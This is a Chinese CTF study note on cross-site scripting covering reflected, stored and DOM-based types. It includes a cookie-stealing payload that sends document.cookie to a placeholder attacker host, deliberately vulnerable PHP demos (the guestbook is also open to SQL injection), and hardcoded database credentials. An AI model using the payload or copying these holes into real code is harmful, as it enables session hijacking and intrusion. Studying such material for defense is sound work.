【CTF-Web】XSS漏洞学习笔记(附ctfshow web316-333题目)

XSS 跨站脚本攻击

What is XSS?

跨站脚本攻击(Cross site Scripting):将任意Javascript代码插入到其他web用户页面里执行达到攻击目的的漏洞

与其他漏洞的区别:其他漏洞是为了攻击网站的服务器和数据库,但是该漏洞是去攻击其他用户。

How to lead XSS?

攻击者通过Web应用程序发送恶意代码,一般以浏览器脚本的形式发送给不同的终端用户,当一个Web程序的用户输入点没有进行校验和编码,将很容易导致XSS漏洞

自己语言的转义:我认为就是在该网站中,比如说存在留言功能,然后攻击者留言了一段恶意代码,这段留言是别的用户也可以访问到的,在其他用户查看这段留言的时候服务器进行解析,导致执行一些危险行为,这个整段过程就是跨站脚本攻击

Where is the XSS?

  1. 数据交互的地方

get post cookies headers

反馈与浏览

富文本编辑器

各类标签插入和定义

  1. 数据输出的地方

用户资料

关键词标签说明

文件上传

一般在ctf中会存在bot机器人 就是明确说明 给一个网址 机器人去访问

Cookie

为了辨别用户身份而存储在客户端上的数据

获取Cookie:

浏览器端(客户端):document.cookie

服务器端(php):$_COOKIE

How to use XSS?

  • 标签闭合逃逸

image-20230830185227975

在界面审查元素我们可以发现输出的结果在p标签内 所以当我们搜索时把p标签闭合 就可以在网页插入其他代码

攻击逻辑:请求带出

在script标签中执行:

window.open  #打开新窗口
window.location.href  #当前界面跳转
location.href

window.open('http://your_ip:port/?cookie=' + btoa(document.cookie))
#btoa实现base64编码
#开启服务器监听 然后将构造的exp给机器人进行访问 从而获得更高权限用户的cookie

反射型XSS

输入什么界面返回什么

我们成功在服务器上部署了一个存在xss漏洞的代码:

<?php
$input = $_GET['input'];

if(isset($input)){
   
    echo("<h1>".$input."<h1>");    
}
else{
   
    highlight_file(__FILE__);
}
?>

然后传参,其中参数中包含恶意代码:

http://154.8.183.198/attack/xsstest.php?input=<script>alert("111")</script>

image-20230919114645000

成功弹窗

存储型XSS

存储在服务器中的数据库里面

服务器搭建一波:(不得不提 有自己的服务器太爽了吧哈哈哈 好多东西都立马清楚了 知道怎么实现的了)

首先在服务器创建mysql数据库用来存储信息

库名:xss

表名:message

字段名: id username message varchar(255)

其中需要把id 设置为主键 并且自动增加不为空

当时这个在图形化界面中没有找到怎么设置 就单纯创建好主键后执行了sql语句

ALTER TABLE `message` CHANGE `id` `id` INT(11) NOT NULL AUTO_INCREMENT

image-20230919122424588

到此基本的数据库搭建完成

下面进行基础网页的搭建

<meta charset="utf-8">
<?php
/*数据库信息配置*/
$host = "localhost"; //数据库地址
$port = "3306"; //数据库端口
$user = "ka1mi2CL"; //数据库用户名
$pwd = "gY8mgYWxRAdN"; //数据库密码
$dbname = "xss"; //数据库名
$conn = new mysqli($host,$user,$pwd,$dbname,$port);
?>

<!-- 前端用户输入表单 -->
<h1>留言板的存储型XSS</h1>
<form  method="post">
<input type="text" name="username" placeholder="姓名">
<input type="text" name="message" placeholder="请输入您的留言">
<input type="submit">
</form>

<?php
    /*直接将留言插入到数据库中*/
    $username=$_POST['username'];
    $message=$_POST['message'];
    if($username and $message)
    {
        $sql="INSERT INTO `message`(`username`, `message`) VALUES ('{$username}','{$message}')";
        if ($conn->query($sql) === TRUE) {
            echo "留言成功"."<br>";
        } else {
            echo "Error: " . $sql . "<br>" . $conn->error;
        }
    }else{
        echo "请填写完整信息"."<br>";
    }

    /*查询数据库中的留言信息*/
    $sql = "SELECT username, message FROM message";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        while($row = $result->fetch_assoc()) {
            echo "用户名:" . $row["username"]. "留言内容:" . $row["message"]."<br>";
        }
    } else {
        echo "暂无留言";
    }
?>

image-20230919123115852

添加

Dom-Based XSS

最后再来搭建一下基于dom的xss漏洞 其中dom就是指document html中的语法

首先这个东西就是因为代码写的没有验证用户的输入导致

全部发生在客户端 感觉和反射型有些类似哈

具体成因仿照咱们搭建的服务器:

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值